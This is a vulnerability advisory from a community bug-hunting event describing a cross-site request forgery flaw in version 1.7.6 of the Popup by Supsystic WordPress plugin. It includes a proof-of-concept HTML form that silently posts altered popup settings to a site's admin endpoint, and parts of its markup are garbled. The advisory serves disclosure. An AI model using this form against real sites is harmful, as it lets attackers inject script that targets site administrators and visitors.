WordPress Plugin Popup by Supsystic 1.7.6 – Cross-Site Request Forgery

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Source: https://sumofpwn.nl/advisory/2016/popup_by_supsystic_wordpress_plugin_vulnerable_to_cross_site_request_forgery.html

Abstract

A Cross-site Request Forgery vulnerablity exists in the Popup by Supsystic WordPress Plugin. This vulnerablity allows attackers to add and modify scripting code that will target authenticated WordPress admins or visitors that see the popup generated by this plugin. Before exploitation of this issue succeeds, and scripting code is therefore injected, a victim WordPress admin to click a specially crafted link or visit a malicious attacker-controlled webpage.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160724-0013

Tested versions

This issue was succesfully tested on the Popup by Supsystic WordPress plugin version 1.7.6.

Fix

There is currently no fix available.

Introduction

The aim of the Popup by Supsystic WordPress plugin is to help you get more newsletter subscribers, promote new products, deliver special offers and to get more social followers.

A Cross-site Request Forgery vulnerablity exists in the Popup by Supsystic WordPress Plugin. This vulnerablity allows attackers to add and modify scripting code that will target authenticated admins or visitors that see the popup generated by this plugin. In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement).

Details

This issue exists because Popup by Supsystic lacks protection against Cross-Site Request Forgery attacks. The following proof of concept code demonstrates this issue:

-->

<html>

<body>

<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">

<input type="hidden" name="params[tpl][label]" value="SIGN UP<br> to our Newsletter!" />

<input type="hidden" name="params_tpl_txt_0" value="<p>Popup by Supsystic lets you easily create elegant overlapping windows with unlimited features. Pop-ups with Slider, Lightbox, Contact and Subscription forms and more</p>" />

<input type="hidden" name="params[tpl][sub_txt_confirm_mail_message]" value="You subscribed on site <a href="https://www.exploit-db.com/exploits/41485/[siteurl]">[sitename]</a>. Follow <a href="https://www.exploit-db.com/exploits/41485/[confirm_link]">this link</a> to complete your subscription. If you did not subscribe here - just ignore this message." />

<input type="hidden" name="params[tpl][sub_txt_subscriber_mail_message]" value="Username: [user_login]<br />Password: [password]<br />[login_url]" />

<input type="hidden" name="params[tpl][sub_new_message]" value="You have new subscriber on your site <a href="https://www.exploit-db.com/exploits/41485/[siteurl]">[sitename]</a>, here us subscriber information:<br />[subscriber_data]" />

[if enb_label]

<div class="ppsPopupLabel ppsPopupListsLabel">[label]</div>

[endif]

[if enb_txt_0]

[txt_0]

</div>

[endif]

[if enb_subscribe]

[sub_form_start]

[sub_fields_html]

[sub_form_end]

</div>

[endif]

[if enb_sm]

[sm_html]

</div>

[endif]

[if enb_foot_note]

[foot_note]

</div>

[endif]

</div>

" />

<input type="hidden" name="params_tpl_txt_val_0" value="<p>Popup by Supsystic lets you easily create elegant overlapping windows with unlimited features. Pop-ups with Slider, Lightbox, Contact and Subscription forms and more</p>" />

</form>

</body>

</html>

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